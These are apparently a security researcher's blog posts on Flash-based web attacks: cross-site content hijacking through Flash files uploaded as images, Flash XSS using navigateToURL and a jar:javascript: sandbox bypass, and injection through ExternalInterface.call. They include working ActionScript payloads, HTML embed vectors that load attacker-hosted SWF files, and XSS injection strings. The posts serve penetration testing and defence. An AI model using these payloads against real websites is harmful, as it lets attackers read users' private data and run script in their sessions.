A guideline for penetration testers to find vulnerabilities in Flash files was presented in BSides Manchester 2016.
The slides can be found at:
The PowerPoint file can be downloaded from:
https://soroush.secproject.com/downloadable/flash_it_baby_v2.0.pptx
This post is going to introduce a new technique that has not been covered previously in other topics that are related to file upload attacks such as Unrestricted file upload and File in the hole.
Update 3 (01/11/2016)
Title was changed from “Cross Domain Data Hijacking” to “Cross-Site Content Hijacking” to reflect the issue better. This issue can also be called “Cross-Site Data Hijacking“. The recommendations section was updated as well.
The following posts were created based on this topic:
https://www.acunetix.com/vulnerabilities/web/cross-domain-data-hijacking
https://dunnesec.com/2014/05/26/cross-domain-hijack-flash-file-upload-vulnerability/
The following tool was created to exploit this issue as a proof of concept – this project covers multiple methods such as by using Flash, PDF, or Silverlight:
https://github.com/nccgroup/CrossSiteContentHijacking
Update 2 (21/05/2014)
Ok! People in twitter were very resourceful and reminded me that this was not in fact a new technique and some other bug bounty hunters are already using it in their advisories! I wish they had documented this properly before. The following links are related to this topic:
http://50.56.33.56/blog/?p=242 (Content-Type Blues)
https://bounty.github.com/researchers/adob.html (Flash content-type sniffing)
Update 1 (21/05/2014):
It seems @fransrosen and @avlidienbrunn were quicker than me in publishing this technique! Yesterday they have published a very good blog post about this issue: http://blog.detectify.com/post/86298380233/the-pitfalls-of-allowing-file-uploads-on-your-website
I highly recommend the readers to read the other blog post as well especially for its nice JSONP trick.
I wanted to wait until end of this week to publish mine but now that this technique is already published, I release my post too. The draft version of this post and PoCs were ready before but I was not sure when I am going to publish this as it would affect a lot of websites; this was a note for bug bounty hunters!
The only point of this blog post now is the way that I had looked at the issue initially.
Imagine that there is a file uploader that properly validates the uploaded file’s extension by using a white-list method. This file uploader only allows a few non-dangerous extensions such as .jpg, .png, and .txt. Moreover, it checks the filename to not contain any non-alphanumeric characters!
This seems to be a simple and a safe method to protect the server and its users if risks of file processors’ bugs and file inclusion attacks have already been accepted.
This file uploader does not have any validation for the file’s content and therefore it is possible to upload a malicious file with a safe name and extension on the server. However, when the server is properly configured, this file cannot be run on the server. Moreover, the file will be sent to the client with an appropriate content-type such a text/plain or image/jpeg; as a result, an attacker cannot exploit a cross-site scripting issue by opening the uploaded file directly in the browser.
If we could change the file’s content-type for the browsers, we would be able to exploit this issue! But nowadays this is not simply possible directly as this counts as a security issue for the browser…
I knew straight away that the “OBJECT” tag has a “TYPE” attribute but I was not sure which content-types will force the browser to actually load the object instead of showing the contents (“OBJECT” tag can act as an IFrame). I have created a test file (located at http://0me.me/demo/SOP/ObjectMimeType.html) that loads the object tags with the different mime-types and the result is as follows (Java and Silverlight were not installed):
“application/futuresplash”: load the file as a Flash object
“application/x-shockwave-flash”: load the file as a Flash object
“text/x-component”: only works in IE to load .htc files(?)
“application/pdf” and a few others: load the file as a PDF object
The result can be different with having different plugins installed.
So I can load any uploaded file as a flash file. Now I can upload a malicious flash file into the victim’s server as a .JPG file, and then load it as flash file in my own website. Please note that there is no point for me to upload a flash file that is vulnerable to XSS as it would run under my website’s domain instead of the target.
I found out that the embedded flash can still communicate with its source domain without checking the cross-domain policy. This makes sense as the flash file belongs to the victim’s website actually.
As a result, the flash file that has been uploaded as a .JPG file in the victim’s website can load important files of the victim’s website by using current user’s cookies; then, it can send this information to a JavaScript that is in the attacker’s website which has embedded this JPG file as a Flash file.
The exploitation is like a CSRF attack, you need to send a malicious link to a user who is already logged-in in the victim’s website (it still counts as CSRF even if you are not logged-in but this is out the scope of this post). The malicious Flash should have already been uploaded in the victim’s website. If the uploader is vulnerable to a CSRF attack itself, an attacker can first upload a malicious Flash file and then use it to hijack the sensitive data of the user or perform further CSRF attacks.
As a result, an attacker can collect valuable information that are in the response of different pages of the victim’s website such as users’ data, CSRF tokens, etc.
The following demonstrates this issue:
A) 0me.me = attacker’s website
B) sdl.me = victim’s website
C) A JPG file that is actually a Flash file has already been uploaded in the victim’s website: http://sdl.me/PoCs/CrossDomainDataHijack.jpg
(Source code of this Flash file is accessible via the following link:
http://0me.me/demo/SOP/CrossDomainDataHijack.as.txt )
D) There is a secret file in the victim’s website (sdl.me) that we are going to read by using the attacker’s website (0me.me): http://sdl.me/PoCs/secret.asp?mysecret=original
E) Note that the victim’s website does not have any crossdomain.xml file: http://sdl.me/crossdomain.xml
F) Now an attacker sends the following malicious link to a user of sdl.me (the victim’s website):
http://0me.me/demo/SOP/CrossDomainDataHijackHelper.html
By pressing the “RUN” button, 0me.me (attacker’s website) website can read contents of the secret.asp file which was in sdl.me (victim’ website). This is just a demo file that could be completely automated in a real scenario.
Note: If another website such as Soroush.me has added sdl.me as trusted in its crossdomain.xml file, the attacker’s website can also now read the contents of Soroush.me by using this vulnerability.
An attacker cannot read the cookies of the victim.com website.
An attacker cannot run a JavaScript code directly by using this issue.
Other client-side technologies such as PDF, Java applets, and Silverlight might be used instead of the Flash technology.
Bypassing the Flash security sandbox when a website uses “Content-Disposition: attachment;” can also be a research topic. If somebody bypasses this, many mail servers and file repositories will become vulnerable.
Please find the recommendations in the following project: https://github.com/nccgroup/CrossSiteContentHijacking
I am going to explain how to exploit a Cross Site Scripting vulnerability by embedding a flash file in a vulnerable website by using navigateToURL or getURL. This is a known technique but I want to introduce a new method to exploit the target more efficiently. This method can be useful when you have some restrictions and you cannot inject a JavaScript directly into the page.
First of all, I am going to explain how it is possible to do this normally and then I will try to make my vector as short as possible.
Here is the code that we need to run JavaScript from our flash file by using URL redirection:
ActionScript 3 code (http://0me.me/demo/xss/flash/normalEmbededXSS.swf):
navigateToURL(new URLRequest("javascript:alert(document.domain);"),"_self");
ActionScript 2 code:
getURL("javascript:alert(document.domain)","_self");
And here is the HTML code in which we need to embed this flash file:
<object width="320" height="240" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowScriptAccess" value="always" /><param name="src" value="http://www.attacker.com/testme/flashtest/normalEmbededXSS.swf" /><embed width="320" height="240" type="application/x-shockwave-flash" src="http://www.attacker.com/testme/flashtest/normalEmbededXSS.swf" allowScriptAccess="always" /></object>
Test URL: http://jsfiddle.net/4F5b2/
It is also possible to rewrite the HTML file as follows to make it as short as possible:
<object width="320" height="240" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="//www.attacker.com/testme/flashtest/normalEmbededXSS.swf" /><embed width="320" height="240" type="application/x-shockwave-flash" src="//www.attacker.com/testme/flashtest/normalEmbededXSS.swf" />
Test URL: http://jsfiddle.net/UDeE8/
However, this vector will not work in IE as it causes a “Security sandbox violation” error (you can use the debugger version of Flash player to see the error messages). Instead we can use EMBED tag as follows:
<object width="320" height="240" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowscriptaccess" value="always" /><param name="src" value="//0me.me/demo/xss/flash/normalEmbededXSS.swf" /><embed width="320" height="240" type="application/x-shockwave-flash" src="//0me.me/demo/xss/flash/normalEmbededXSS.swf" allowscriptaccess="always" /></object>
Test URL: http://jsfiddle.net/pEFan/
There can be a valid scenario in which you can only control the address of an embedded SWF file in victim’s website or there are some length restrictions and we cannot use “allowScriptAccess”! I came across this scenario recently in @rafaybaloch and @prakharprasad #1 XSS challenge: http://rafay.prakharprasad.com/
If we do not use “allowScriptAccess”, we can make our vector as short as possible but it will cause a “Security sandbox violation” error for two reasons:
1: Target page in navigateToURL or getURL cannot be set to null/empty, “_self”, “_parent”, and “_top”.
Example:
ActionScript 3 code (http://0me.me/demo/xss/flash/targetSelf_destGoogle_embededXSS.swf):
navigateToURL(new URLRequest("http://google.com/"),"_self");
Test URL: http://jsfiddle.net/sWk37/
2: We cannot use “JavaScript:” protocol for redirection.
Example:
ActionScript 3 code:
navigateToURL(new URLRequest("javascript:alert(document.domain);"),"testme");
Test URL: http://jsfiddle.net/9wGMM/
Resolving the first issue is not difficult. If we use an arbitrary name as the target page, it will open our JavaScript in a new page which uses the same window origin as its opener and this is what we need! It is also possible to set a name for the victim’s website when we want to open it by using different techniques (such as IFrame name, window.open, anchor’s target, form’s target and so on) and set the target name to the same name in our Flash file. I will show you an example later.
Overcoming the second issue is even easier! We can use “JAR:” protocol before “JavaScript:” to bypass Flash Sandbox protection (http://soroush.secproject.com/blog/2013/10/catch-up-on-flash-xss-exploitation-part-2-navigatetourl-and-jar-protocol/).
Based on these solutions, our Flash file would be like this:
ActionScript 3 code (http://0me.me/demo/xss/flash/embededXSS.swf):
navigateToURL(new URLRequest("jar:javascript:alert('domain: '+document.domain+'\\r\\nCookies: '+document.cookie);"),"testme");
ActionScript 2 code:
getURL("jar:javascript:alert('domain: '+document.domain+'\\r\\nCookies: '+document.cookie);","testme");
I have a vulnerable page which is located in:
http://www.sdl.me/xssdemo/xss.asp?input=XSS_goes_here
If we do not use a name for the victim’s website, it is only exploitable in Mozilla Firefox:
http://www.sdl.me/xssdemo/xss.asp?input=<embed src=http://0me.me/demo/xss/flash/embededXSS.swf> – Firefox only
We can still exploit this in other browsers if we use a name (“testme” in our example) to open the vulnerable file. Here is an example:
<iframe name="testme" src="http://www.sdl.me/xssdemo/xss.asp?input=<embed src=http://0me.me/demo/xss/flash/embededXSS.swf>" height="240" width="320"></iframe>
Test URL: http://jsfiddle.net/FUfrc/
Please note that the OBJECT tag could also be used instead of EMBED with the same result.
Introduction:
This post is a result of reading the following useful report:
The other reason to beware ExternalInterface.call() (http://lcamtuf.blogspot.com/2011/03/other-reason-to-beware-of.html)
The issue that I want to discuss here is not something different; however, I want to add something to the current materials.
Description:
According to the Adobe website, ExternalInterface.call() can accept a JavaScript function name as the first argument and a string which would be sent to that JavaScript function. Adobe says “When the call is to a JavaScript function, the ActionScript types are automatically converted into JavaScript types; when the call is to some other ActiveX container, the parameters are encoded in the request message.”. Therefore, in our case, the string would be converted into JavaScript type.
All we are trying to say is that it is possible to inject a specific parameter to an input and change the way of running the JavaScript. I should say it is very similar to the current code Injection methods in which we actively change the queries/requests to run whatever we want!
Proof of Concepts:
I want to explain it by using the example that Adobe has put in its document. I have put all the files in the following URL: http://0me.me/demo/adobeflash/ExternalInterface.call/ . Please use Mozilla Firefox if you want to see the same error messages as this PoC.
Now follow these steps:
1- Open this link: http://0me.me/demo/adobeflash/ExternalInterface.call/demo.html
2- Enter “\”” in the flash box (dark box) and press the gray button in front of it:
3- Now, you should be able to see this error in Error Console:
As you can see, we could escape the slash character “\” which was for escaping the double quotation character. Therefore, we are able to inject our JavaScript here now.
4- Now, try to enter “\”));alert(/XSS/)}catch(e){}//” in that box and press the gray button. You should be able to see the alert message:
It is because of the fact that we could complete the main functions and comment the remaining bits which is the method of code injection.
Now, you may think that we need to have a valid JavaScript function in the page or you may even think we always need to have a HTML file. I will explain this in the next section and I will prove that you can execute a JavaScript code even by running the SWF file directly without using any HTML file or JavaScript function.
Run the flash file directly now:
Now I want to add this bit that we do not need to have a real JavaScript function or a HTML page to execute a JavaScript code under the website content. In this case we only need to put the JavaScript code inside the “catch” section. This is the PoC:
1- Open this URL: http://0me.me/demo/adobeflash/ExternalInterface.call/ExternalInterfaceExample.swf
2- Now, enter the following text in the box and press the button:
“\”));alert(/XSSThis/);}catch(e){alert(/XSSOr/)}//”
3- You should be able to see this message now:
As a result, we can do a XSS attack just by opening a vulnerable or malicious/uploaded SWF file.
Note: you may have problem with closing the alert window in some browsers.
Why can this be a risk?
The websites which are using ExternalInterface.call() with the user’s provided input -without having input validation- can be in risk of having XSS vulnerability. Besides, an attacker can upload a malicious SWF file when a website lets him/her do so in order to make the website vulnerable to XSS attack – in this case I should say, an attacker might be able to do more than a XSS by uploading a SWF file.
Solution(s):
If we think about this code injection, it is really another input validation issue. It again says that the developers must not trust the provided inputs and we certainly need to have input validation when we receive the user’s input.
Note: Regarding the main reference of this text, Adobe has not accepted this as an issue to fix it fundamentally yet.
References:
– The other reason to beware ExternalInterface.call() http://lcamtuf.blogspot.com/2011/03/other-reason-to-beware-of.html
– Agora 3.0.0 RC1 Rev.4 XSS Vulnerability http://jeffchannell.com/Joomla/agora-300-rc1-rev4-xss-vulnerability.html
– Finding Vulnerabilities in Flash Applications http://www.owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt
– Cross-Site Scripting through Flash in Gmail Based Services http://blog.watchfire.com/wfblog/2010/03/cross-site-scripting-through-flash-in-gmail-based-services.html
– ActionScript 3.0 Language and Components Reference http://livedocs.adobe.com/flash/9.0/ActionScriptLangRefV3/flash/external/ExternalInterface.html
– Code Injection http://en.wikipedia.org/wiki/Code_injection